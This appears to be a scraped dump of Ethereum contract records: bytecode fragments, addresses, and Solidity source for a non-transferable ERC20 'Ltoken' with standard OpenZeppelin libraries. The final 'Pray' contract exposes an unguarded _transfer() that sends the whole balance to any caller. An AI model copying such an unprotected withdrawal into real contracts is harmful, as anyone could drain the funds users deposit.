e2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d46565b60035481101561298a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c9576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561274f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b6127e0868686612e11565b61284b84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128de846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d45565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b612b9f868686612e11565b612c0a84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612dc3578082015181840152602081019050612da8565b50505050905090810190601f168015612df05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f044ce43228deff681cb3b463d74e4316b7ff36b6a1d184973a587e2037d5cf664736f6c634300060c0033
[ 38 ]
0xF2F382085d1E40d5E510aDeC71d0b39973F67897
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/ILtoken.sol"; contract Erc20Ltoken is ERC20, ILtoken { address public governanceAccount; address public treasuryPoolAddress; constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) { governanceAccount = msg.sender; } modifier onlyBy(address account) { require(msg.sender == account, "Erc20Ltoken: sender not authorized"); _; } function mint(address to, uint256 amount) external override onlyBy(treasuryPoolAddress) { _mint(to, amount); } function burn(address account, uint256 amount) external override onlyBy(treasuryPoolAddress) { _burn(account, amount); } function balanceOf(address account) public view virtual override(ERC20, ILtoken) returns (uint256) { return ERC20.balanceOf(account); } function isNonFungibleToken() external pure override returns (bool) { return false; } function setTokenAmount( uint256, /* token */ uint256 /* amount */ ) external pure override { revert("Erc20Ltoken: token is not NFT"); } function getTokenAmount( uint256 /* token */ ) external pure override returns (uint256) { revert("Erc20Ltoken: token is not NFT"); } function setGovernanceAccount(address newGovernanceAccount) external onlyBy(governanceAccount) { require( newGovernanceAccount != address(0), "Erc20Ltoken: new governance account is the zero address" ); governanceAccount = newGovernanceAccount; } function setTreasuryPoolAddress(address newTreasuryPoolAddress) external onlyBy(governanceAccount) { require( newTreasuryPoolAddress != address(0), "Erc20Ltoken: new treasury pool address is the zero address" ); treasuryPoolAddress = newTreasuryPoolAddress; } function _transfer( address, /* sender */ address, /* recipient */ uint256 /* amount */ ) internal virtual override { // non-transferable between users revert("Erc20Ltoken: token is non-transferable"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.6; interface ILtoken { function mint(address to, uint256 token) external; function burn(address account, uint256 token) external; function balanceOf(address account) external view returns (uint256); function isNonFungibleToken() external pure returns (bool); function setTokenAmount(uint256 token, uint256 amount) external; function getTokenAmount(uint256 token) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b506004361061016c5760003560e01c806370a08231116100cd578063aed84f5611610081578063dd62ed3e11610066578063dd62ed3e14610491578063f5b65fea146104cc578063f7e0ed8c146104ff5761016c565b8063aed84f561461046c578063c2507ac1146104745761016c565b80639dc29fac116100b25780639dc29fac146103c1578063a457c2d7146103fa578063a9059cbb146104335761016c565b806370a082311461038657806395d89b41146103b95761016c565b806327144c0511610124578063365a987011610109578063365a98701461030c578063395093511461031457806340c10f191461034d5761016c565b806327144c05146102bd578063313ce567146102ee5761016c565b806318160ddd1161015557806318160ddd1461023b5780632175394d1461025557806323b872dd1461027a5761016c565b806306fdde0314610171578063095ea7b3146101ee575b600080fd5b610179610532565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b357818101518382015260200161019b565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102276004803603604081101561020457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356105e6565b604080519115158252519081900360200190f35b610243610603565b60408051918252519081900360200190f35b6102786004803603604081101561026b57600080fd5b5080359060200135610609565b005b6102276004803603606081101561029057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610670565b6102c5610711565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6102f6610732565b6040805160ff9092168252519081900360200190f35b6102c561073b565b6102276004803603604081101561032a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610757565b6102786004803603604081101561036357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356107b2565b6102436004803603602081101561039c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610832565b610179610843565b610278600480360360408110156103d757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356108c2565b6102276004803603604081101561041057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561093d565b6102276004803603604081101561044957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356109b2565b6102276109c6565b6102436004803603602081101561048a57600080fd5b50356109cb565b610243600480360360408110156104a757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610a34565b610278600480360360208110156104e257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a6c565b6102786004803603602081101561051557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b9b565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105dc5780601f106105b1576101008083540402835291602001916105dc565b820191906000526020600020905b8154815290600101906020018083116105bf57829003601f168201915b5050505050905090565b60006105fa6105f3610cc5565b8484610cc9565b50600192915050565b60025490565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45726332304c746f6b656e3a20746f6b656e206973206e6f74204e4654000000604482015290519081900360640190fd5b600061067d848484610e10565b61070784610689610cc5565b610702856040518060600160405280602881526020016113456028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600160205260408120906106d4610cc5565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020549190610e61565b610cc9565b5060019392505050565b600554610100900473ffffffffffffffffffffffffffffffffffffffff1681565b60055460ff1690565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60006105fa610764610cc5565b846107028560016000610775610cc5565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918c168152925290205490610f12565b60065473ffffffffffffffffffffffffffffffffffffffff16338114610823576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113236022913960400191505060405180910390fd5b61082d8383610f8d565b505050565b600061083d826110be565b92915050565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105dc5780601f106105b1576101008083540402835291602001916105dc565b60065473ffffffffffffffffffffffffffffffffffffffff16338114610933576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113236022913960400191505060405180910390fd5b61082d83836110e6565b60006105fa61094a610cc5565b84610702856040518060600160405280602581526020016114126025913960016000610974610cc5565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918d16815292529020549190610e61565b60006105fa6109bf610cc5565b8484610e10565b600090565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45726332304c746f6b656e3a20746f6b656e206973206e6f74204e46540000006044820152905160009181900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b600554610100900473ffffffffffffffffffffffffffffffffffffffff16338114610ae2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113236022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610b4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806112ca6037913960400191505060405180910390fd5b506005805473ffffffffffffffffffffffffffffffffffffffff909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b600554610100900473ffffffffffffffffffffffffffffffffffffffff16338114610c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113236022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610c7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806113d8603a913960400191505060405180910390fd5b50600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b3390565b73ffffffffffffffffffffffffffffffffffffffff8316610d35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806113b46024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610da1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113016022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061136d6026913960400191505060405180910390fd5b60008184841115610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ecf578181015183820152602001610eb7565b50505050905090810190601f168015610efc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610f8657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821661100f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61101b6000838361082d565b6002546110289082610f12565b60025573ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090205461105b9082610f12565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b73ffffffffffffffffffffffffffffffffffffffff8216611152576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113936021913960400191505060405180910390fd5b61115e8260008361082d565b6111a8816040518060600160405280602281526020016112a86022913973ffffffffffffffffffffffffffffffffffffffff85166000908152602081905260409020549190610e61565b73ffffffffffffffffffffffffffffffffffffffff83166000908152602081905260409020556002546111db9082611230565b60025560408051828152905160009173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000828211156112a157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545726332304c746f6b656e3a206e657720676f7665726e616e6365206163636f756e7420697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345726332304c746f6b656e3a2073656e646572206e6f7420617574686f72697a656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545726332304c746f6b656e3a20746f6b656e206973206e6f6e2d7472616e7366657261626c6545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345726332304c746f6b656e3a206e657720747265617375727920706f6f6c206164647265737320697320746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d468381180b18bcd69f1bac85b841e987a21316e19418426a7f6959b27f0af4c64736f6c63430007060033
[ 38 ]
0xf2F5b85e550D15D781166Fa704f0648eE1d353C0
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity 0.8.9; contract Pray { receive() external payable {} function _transfer() external { uint256 bal = address(this).balance; (bool success, ) = payable(msg.sender).call{value: bal}(""); require(success); } }
